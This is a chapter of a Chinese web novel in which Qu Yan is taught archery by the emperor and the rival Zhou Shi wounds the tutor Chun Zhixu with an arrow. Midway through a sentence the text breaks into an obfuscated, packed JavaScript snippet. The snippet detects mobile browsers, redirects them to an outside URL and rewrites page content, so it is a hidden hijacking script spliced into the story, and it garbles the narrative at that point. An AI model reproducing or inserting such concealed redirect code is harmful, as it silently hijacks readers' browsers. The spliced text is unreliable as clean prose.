武德殿都是武器,周拾趴在被武器包围的榻上,没有痛晕过去,也差点气晕过去,恨不得随手抽一把剑刺过去。但他知道不能,只能强颜欢笑:“皇叔能亲自来看我,就是我的福气,不敢奢望别的。” 曲延:那你奢望的可太多了,比如皇位,比如周启桓的命,比如全天下的美女。 要是留了疤,看你以后还怎么光屁股开后宫。 ……蓦地,原书一段剧情浮现在曲延脑海中。 某年某月某夜,周拾和某后宫妹子浓情蜜意,忽然妹子惊叫一声:“周大哥,你的、你的屁股怎么有一块疤?” 周拾不知想到什么,咬牙切齿笑道:“战斗的勋章而已,不必在意。” 到底是谁戳了龙傲天的屁股,还留下一块疤,这是原书的未解之谜之一。 曲延:“……” 【完成隐藏任务:解开原书未解之谜。】 【任务奖励:100积分。】 曲延:“?” 平时毒舌的系统又一声不吭了。 总而言之,帝王几句安抚之语后,周拾就被抬回了英王府,在家中养伤,三天没来上学。 这三天里,曲延也老老实实的,没出什么幺蛾子。 周启桓说亲自教他射箭,但因为政事实在繁忙,没有抽出空来。在射御课上,曲延只好坐在阴凉下看别人射箭。 箐箐学子,青春盎然,让人看着心情都会明快爽朗。没有周拾在的日子,这一群权贵子弟成了NPC,仿佛世间最普通的学子。 曲延捧着脸想,也许这种无聊的日常才是最好的。 而且春知许的讲课明显更加温和,有学生上课开小差,他都不会让人罚站。课间时,大家聚在一起讨论,一致得出,春老师会产生这样的变化,肯定是有心仪之人了。 曲延:“……”真是一群可爱的初高中生,除了恋爱不想别的。 春知许会有这样的变化再明显不过,因为身边没有屎傲天苍蝇似的围着团团转,自然心情愉悦——当然,这也只是曲延的猜测。 这天,又到了射御课。 曲延对冯烈这样那样说了一番,冯烈点头,拉来春知许。 春知许无奈笑道:“冯统领,我真的不会射箭。” 冯烈:“不会可以练习,你们这些文臣,个个装了一肚子墨水,但要是遇到别人动粗刁难,那是一宰一个准。灵君说了,锻炼身体,增强体质!” 春知许:“……” 令人意外的是,春知许虽说不善射箭,但技巧一学就会,三五箭下去,已经能射中靶心。 冯烈一巴掌拍向春知许的背,“兄弟你行啊——” 春知许被一掌拍飞。 “……” 曲延:“!!!” 又是掐人中,又是叫魂,曲延总算把晕厥的春知许给摇醒。 春知许的脸很白,皮肤仿佛透明的,斑驳的树影下睁开眼睛,瞳仁透出浅浅的色调,就像他这个人,温润如细雨,虽时常让人看不清,却能捉摸。 曲延心想,谁不想明月入我怀,但事实却是明月照沟渠。 将明月从天上拽下来,注定是一场悲剧。 “灵君?”春知许目光流转,看到了冯烈和一圈学子脑袋,“……你们为何都在天上?难道是天外陨石把大家都砸死了?” 曲延:“有没有可能是你躺在地上。” 春知许坐起来,眯起眼睛细瞧,“原来大家都活着,那就好。” 冯烈老脸一红:“春大人,对不住啊,我不知道你那么弱鸡,一巴掌就拍晕了。” “……” 这群人中间多出一个油光水滑的脑袋,细着嗓子笑眯眯问:“大家伙儿这是做什么呢?” “吉福总管!”冯烈一惊,扭头一看,正是信步而来的帝王。 周启桓自带一股生人勿近的气场,他一来,炎热的天气都降了几度。他是来教曲延射箭的,其他人该干嘛干嘛。 据曲延观察,无论纪律还是准头,大家都比原先好了不止一个档次,显然都想要在帝王面前表现自己。 曲不程连中三次靶心,得到众人夸赞,得意洋洋地扭头朝曲延那边看去。 帝王眼不抬,修长如玉的手托起曲延的手臂,在他身后为他调整最佳的射箭姿势,“足肩同宽,握弓力度要四两拨千斤。” 曲延照做。 周启桓的指尖从曲延的手臂移到肩背,轻轻按压薄薄的背肌,“用这里发力拉弦,而不是手臂,抬高,到颧骨处,眼睛看向箭杆,瞄准靶心。” 曲延放缓呼吸。 “松。”周启桓的气息拂过青年耳畔。 曲延耳尖酥痒,松开手指,咻地一箭射出去——正中靶心! 这是这些天来,曲延第一次射中靶子。他难掩欢喜,转身一把抱住周启桓,蹦蹦跳跳整个人都快挂上去,“我射中了!我射中了!哈哈哈哈……” 帝王稳如冰山,任由曲延攀住,闻到青年脖颈间阳光与合欢的气息,“嗯。” 吉福朝那群瞪直了眼的学子摆摆手,非礼勿视。 众人:“……” 曲不程沉了脸色,转而又冷笑,被偏爱又如何,还不是一个傻子。 忽的,曲不程目光凝住,眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16715960|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头舒展,挥了挥手。 周拾忍着屁股发炎的痛,一步一步走过来,他也是听说今日周启桓亲至演练场,所以火急火燎跑来想要表现一番。 “……侄儿给皇叔请安。”周拾强笑着跪下行了一礼。 看到周拾,曲延的笑顿时收起大半。 周启桓淡声道:“起来吧。怎么不在家养着?” 周拾:“侄儿觉得好了很多,皇叔特地重开向学殿,让我得以名师教导,万不敢辜负皇叔苦心。哪怕身有伤痛,也不及我向学之心。” “你有进取之心,是好事。” 周拾话锋一转:“听闻灵君箭术是皇叔亲自教导,不知能否赐教一二?” 周启桓看向曲延,“曲君以为如何?” 曲延知道周拾憋着坏,但这战书他还就收下了,“好。” 两人搭弓拉箭,站在各自的靶子前。 咻的一声,又一声,两人一前一后射出。曲延再次正中靶心,周拾又射出一箭,居然将之前的箭劈成两半,众人无不赞叹。 曲延:“……”狗血电视剧里的剧情可真敢演。 主角光环加持,曲延是不会赢的,于是他开始摆烂。 一箭射偏,箭矢再次莫名其妙大拐弯。 周拾吓得回身一把握住再次扎向自己屁股的箭,冷汗涟涟。 曲延怀疑这箭是不是成精了,不然为什么喜欢追着周拾的屁股跑。 这一次,龙傲天真的怒了,他认为曲延是故意的。周拾咬紧牙关瞪着曲延,手中的箭颤栗着,手背青筋凸起,好似整个人都处在危险的边缘。 曲延直觉危险,往后撤了半步,撞到帝王高大峻拔的身躯。 周启桓捉住曲延手腕,往自己身侧一带,冷声道:“周焱枫,放下你手中的箭。” 周拾不说话,只是眼睛一错不错地盯着曲延,如同一头即将褪去羊皮的狼。 “周拾,放下你手中的箭。”帝王嗓音沉如水,凛若冰,已然是一种警告。 演练场瞬间如同冰封,剑拔弩张。 冯烈压低了气息,手指发出咔嚓摩擦声,只要周拾有所异动,他会立即出手。 欧阳策张口想说什么,又被帝王的威压给震慑住。 曲不程已是握紧了拳,心中飞快盘算着。 宣斐呆在原地。 空气成了一根紧绷的弦,谁动,谁就是个死。 曲延看着周拾头上不断冒出的红色感叹号,只觉滑稽……这时候系统提醒还有个毛用。 良久,周拾从喉间扯出一声阴沉的笑:“不过就是一根箭,皇叔何必如此紧张。侄儿是万万不敢,不敢对灵君做什么。” 语罢,他啪的一声折断这根箭,紧接着一齐甩了出去! 只不过甩出去的方向不是曲延,而是……春知许,春水生! 冷兵器与血肉交融,箭矢射入春知许胸膛。 曲延的血液仿佛凝住了。 周拾弯起嘴角,他不好过,不能为他所用的人也别想好过。 这是完完全全的迁怒,周拾知道,但他不在乎,他是英王世子,是皇帝的亲侄子,就算“无意”伤了一个小小的太学院主薄、向学殿教授,也不是什么大事。 “……春知许!”曲延不可置信,怎么会这样? 春知许低头看着没入胸膛的箭矢,神色竟然很平静,他半跪在地,咳出一滩血,冷漠地看着周拾的身影。 周拾没有看春知许一眼,仿佛那是个无关紧要的人。 他沉浸在一股巨大的快意中,这才是他想要的,看谁不顺眼,就杀谁;谁敢挡他的路,就杀谁;谁不能为他所用,就杀谁。 都杀了,都杀了! 周拾几乎要大笑,他才是世界的主宰,是这个世界最特别的存在,这个世界的一切都该是他的。他是穿越者,而这群古人都是愚民。他想做什么就做什么,何须问他们生死! 这股快意没有持续多久,很快,他忽觉一股冰凉如蛇的冷意沿着脊椎爬上来,经脉、血液、脏腑,缓缓被冰冻住。 尖锐的疼痛在他脑中炸开,翻江倒海, 一道低沉清润的男声对他说:“谁,准你伤他的?” “谁?” “谁,准你伤他的。”那声音与其说是问,不如说是愤怒。 “谁?!”周拾的脑浆好似被一双手搅弄,让他痛到满地打滚,“谁在说话,出来!出来!!” “你,可以死了。” 周拾眼睁睁看着自己的双手,掐住了自己的脖子,用力扼紧! 他呼叫着系统,系统,系统! 【program error】 【程序错误】